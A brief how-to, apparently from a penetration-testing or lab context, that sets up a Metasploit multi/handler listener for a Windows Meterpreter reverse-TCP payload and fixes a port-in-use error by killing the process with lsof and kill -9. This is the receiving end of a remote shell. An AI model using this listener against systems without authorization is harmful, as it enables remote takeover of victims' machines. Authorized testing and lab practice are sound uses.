Create a Metasploit listener

Steps to create a Metasploit listener: msf5 > use exploit/multi/handlermsf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp msf5 exploit(multi/handler) > set lhost 10.10.14.13 msf5 exploit(multi/handler) > set lport 9999 msf5 exploit(multi/handler) > set ExitOnSession false msf5 exploit(multi/handler) > exploit -j sessions -i 1

(Solution) – Exploit failed [bad-config]: Rex::BindFailed The address is already in use or unavailable

Using Metasploit I’ve sometimes seen this error:  [-] Exploit failed [bad-config]: Rex::BindFailed The address is already in use or unavailable: (0.0.0.0:1234). To solve it:  List processes listening on port 1234 lsof -i :1234 Kill a process with process ID 5678 kill -9 5678
